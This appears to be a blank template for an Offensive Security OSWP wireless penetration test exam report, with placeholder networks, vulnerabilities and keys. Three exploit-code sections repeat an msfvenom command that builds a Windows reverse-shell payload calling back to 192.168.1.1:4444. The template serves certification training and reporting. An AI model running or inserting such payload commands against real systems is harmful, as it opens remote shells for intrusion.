Offensive Security

Penetration Test Report for OSWP Exam

v.1.0

example@example.com

OSID: OS-XXXXX



**©**

All rights reserved to Offensive Security, 2020

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from Offensive Security.

# Table of Contents

[1.0 Table of Contents 2](#_Toc42968045)

[2.0 Offensive Security Exam Penetration Test Report 5](#_Toc42968046)

[2.1 Introduction 5](#_Toc42968047)

[2.2 Objective 5](#_Toc42968048)

[2.3 Requirements 5](#_Toc42968049)

[3.0 High-Level Summary 6](#_Toc42968050)

[3.1 Recommendations 7](#_Toc42968051)

[4.0 Methodologies 7](#_Toc42968052)

[4.1 Information Gathering 7](#_Toc42968053)

[4.2 Penetration Testing 8](#_Toc42968054)

[4.2.1 Network 1 (ESSID) - BSSID 9](#_Toc42968055)

[4.2.1.1 Network Information 9](#_Toc42968056)

[4.2.1.2 Network Vulnerability Description 9](#_Toc42968057)

[4.2.1.3 Network Vulnerability Severity 9](#_Toc42968058)

[4.2.1.4 Network Vulnerability Exploit Steps 10](#_Toc42968059)

[4.2.1.5 Network Vulnerability Exploit Code 10](#_Toc42968060)

[4.2.1.6 Network Vulnerability Remediation 11](#_Toc42968061)

[4.2.1.7 Network Vulnerability Proof of Exploitation 11](#_Toc42968062)

[4.2.1.7.1 Network Vulnerability Key Screenshot 11](#_Toc42968063)

[4.2.1.7.2 Network Vulnerability Key 11](#_Toc42968064)

[4.2.2 Network 2 (ESSID) - BSSID 12](#_Toc42968065)

[4.2.2.1 Network Information 12](#_Toc42968066)

[4.2.2.2 Network Vulnerability Description 12](#_Toc42968067)

[4.2.2.3 Network Vulnerability Severity 12](#_Toc42968068)

[4.2.2.4 Network Vulnerability Exploit Steps 13](#_Toc42968069)

[4.2.2.5 Network Vulnerability Exploit Code 13](#_Toc42968070)

[4.2.2.6 Network Vulnerability Remediation 14](#_Toc42968071)

[4.2.2.7 Network Vulnerability Proof of Exploitation 14](#_Toc42968072)

[4.2.2.7.1 Network Vulnerability Key Screenshot 14](#_Toc42968073)

[4.2.2.7.2 Network Vulnerability Key 14](#_Toc42968074)

[4.2.3 Network 3 (ESSID) - BSSID 15](#_Toc42968075)

[4.2.3.1 Network Information 15](#_Toc42968076)

[4.2.3.2 Network Vulnerability Description 15](#_Toc42968077)

[4.2.3.3 Network Vulnerability Severity 15](#_Toc42968078)

[4.2.3.4 Network Vulnerability Exploit Steps 16](#_Toc42968079)

[4.2.3.5 Network Vulnerability Exploit Code 16](#_Toc42968080)

[4.2.3.6 Network Vulnerability Remediation 17](#_Toc42968081)

[4.2.3.7 Network Vulnerability Proof of Exploitation 17](#_Toc42968082)

[4.2.3.7.1 Network Vulnerability Key Screenshot 17](#_Toc42968083)

[4.2.3.7.2 Network Vulnerability Key 17](#_Toc42968084)

[4.3 Maintaining Access 18](#_Toc42968085)

[4.4 House Cleaning 18](#_Toc42968086)

[5.0 Appendix 19](#_Toc42968087)

[5.1 Appendix 1 - Network Keys 19](#_Toc42968088)

[5.2 Appendix 3 - Additional Exploit Codes 20](#_Toc42968089)

# Offensive Security Exam Penetration Test Report

## Introduction

The Offensive Security OSWP Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Wireless Professional certification.

## Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective goals.

## Requirements

The student is expected to fill out this penetration testing report fully and to include the following sections:

* Overall High-Level Summary and Recommendations (Non-technical)
* Methodology walkthrough and detailed outline of steps taken
* Each finding with included screenshots, walkthrough, sample code, and network key if applicable.
* Any additional items that were not included

# High-Level Summary

I was tasked with performing an internal penetration test towards Offensive Security Exam. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal exam networks. My overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. When performing the network penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, I was able to gain access to multiple networks, primarily due to outdated wireless technologies and poor security configurations. During the testing, I had wireless access to multiple/all networks. All networks were successfully exploited and wireless access towards the networks were successfully obtained. These networks as well as a brief description on how access was obtained are listed below:

* ESSID (BSSID) - Name of initial exploit
* ESSID (BSSID) - Name of initial exploit
* ESSID (BSSID) - Name of initial exploit

## Recommendations

I recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

# Methodologies

I utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Exam environments is secured. Below is a breakout of how I was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, I was tasked with exploiting the exam network. The specific IP addresses were:

**Exam Network**

* ESSID (BSSID)
* ESSID (BSSID)
* ESSID (BSSID)

## Penetration Testing

The penetration testing portions of the assessment focus heavily on gaining access to a variety of networks. During this penetration test, I was able to successfully gain wireless access to X out of the X networks.

**Service Enumeration**

The service enumeration portion of a penetration test focuses on gathering information about what technologies are used on the access point. This is valuable for an attacker as it provides detailed information on potential attack vectors into a network. Understanding what technologies are running on the network gives an attacker needed information before performing the actual penetration test.

### Network 1 (ESSID) - BSSID

#### Network Information

**Network ESSID:** ESSID

**Network BSSID:** BSSID

**WPS Enabled:** Yes/No

Clients Enumeration

|  |  |
| --- | --- |
| BSSID | Connected Clients' MAC Address |
| BSSID | MAC Address |
|  | MAC Address |

#### Network Vulnerability Description

The access point of the remote network suffers from an outdated Technology\_Name wireless technology. An outdated Technology\_Name wireless technology suffers from Vulnerability\_Name. An Vulnerability\_Name is a vulnerability that Description\_Of\_Vulnerability. Therefore, an attacker is able to gain access to the wireless network through the use of Attack\_Name thus exploiting the Vulnerability\_Name present through the use of Technology\_Name in the access point.

#### Network Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Network Vulnerability Exploit Steps

***Exploit Steps for key cracking and Cleanup Steps***

#### Network Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Network Vulnerability Remediation

It is recommended to implement the latest New\_Technology\_Name for access points or switch to an access point that supports New\_Technology\_Name as its security algorithm.

#### Network Vulnerability Proof of Exploitation

##### Network Vulnerability Key Screenshot

***Include cracked wireless network key***

##### Network Vulnerability Key

The network key of the wireless access point is deadbeef.

### Network 2 (ESSID) - BSSID

#### Network Information

**Network ESSID:** ESSID

**Network BSSID:** BSSID

**WPS Enabled:** Yes/No

Clients Enumeration

|  |  |
| --- | --- |
| BSSID | Connected Clients' MAC Address |
| BSSID | MAC Address |
|  | MAC Address |

#### Network Vulnerability Description

The access point of the remote network suffers from an outdated Technology\_Name wireless technology. An outdated Technology\_Name wireless technology suffers from Vulnerability\_Name. An Vulnerability\_Name is a vulnerability that Description\_Of\_Vulnerability. Therefore, an attacker is able to gain access to the wireless network through the use of Attack\_Name thus exploiting the Vulnerability\_Name present through the use of Technology\_Name in the access point.

#### Network Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Network Vulnerability Exploit Steps

***Exploit Steps for key cracking and Cleanup Steps***

#### Network Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Network Vulnerability Remediation

It is recommended to implement the latest New\_Technology\_Name for access points or switch to an access point that supports New\_Technology\_Name as its security algorithm.

#### Network Vulnerability Proof of Exploitation

##### Network Vulnerability Key Screenshot

***Include cracked wireless network key***

##### Network Vulnerability Key

The network key of the wireless access point is deadbeef.

### Network 3 (ESSID) - BSSID

#### Network Information

**Network ESSID:** ESSID

**Network BSSID:** BSSID

**WPS Enabled:** Yes/No

Clients Enumeration

|  |  |
| --- | --- |
| BSSID | Connected Clients' MAC Address |
| BSSID | MAC Address |
|  | MAC Address |

#### Network Vulnerability Description

The access point of the remote network suffers from an outdated Technology\_Name wireless technology. An outdated Technology\_Name wireless technology suffers from Vulnerability\_Name. An Vulnerability\_Name is a vulnerability that Description\_Of\_Vulnerability. Therefore, an attacker is able to gain access to the wireless network through the use of Attack\_Name thus exploiting the Vulnerability\_Name present through the use of Technology\_Name in the access point.

#### Network Vulnerability Severity

**CVSS v3.1 Score:**X.X

**CVSS String:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**Severity Level:**Critical/High/Medium/Low

#### Network Vulnerability Exploit Steps

***Exploit Steps for key cracking and Cleanup Steps***

#### Network Vulnerability Exploit Code

**Uniform Resource Locator:**

**Filename:**

**Additional Notes:**

1. Modifications to the existing exploit was needed and is highlighted.

2. The command to generate the exploit shellcode is "msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.1 LPORT=4444 -f py". The exploit code is highlighted in red and replaced in line XXX.

|  |
| --- |
|  |

#### Network Vulnerability Remediation

It is recommended to implement the latest New\_Technology\_Name for access points or switch to an access point that supports New\_Technology\_Name as its security algorithm.

#### Network Vulnerability Proof of Exploitation

##### Network Vulnerability Key Screenshot

***Include cracked wireless network key***

##### Network Vulnerability Key

The network key of the wireless access point is deadbeef.

## Maintaining Access

Maintaining access to a network is important to us as attackers, ensuring that we can get back into a network after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred, we have administrative access over the network again. Many exploits may only be exploitable once and we may never be able to get back into a network after we have already performed the exploit.

## House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of network exploits or configurations are left on an organization's network which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After collecting trophies from the exam network was completed, the student removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to modify any configurations from the access points.

# Appendix

## Appendix 1 - Network Keys

|  |  |
| --- | --- |
| **ESSID (BSSID)** | **Network Key** |
| ESSID (BSSID) |  |
| ESSID (BSSID) |  |
| ESSID (BSSID) |  |

## Appendix 3 - Additional Exploit Codes

**Filename:**

|  |
| --- |
|  |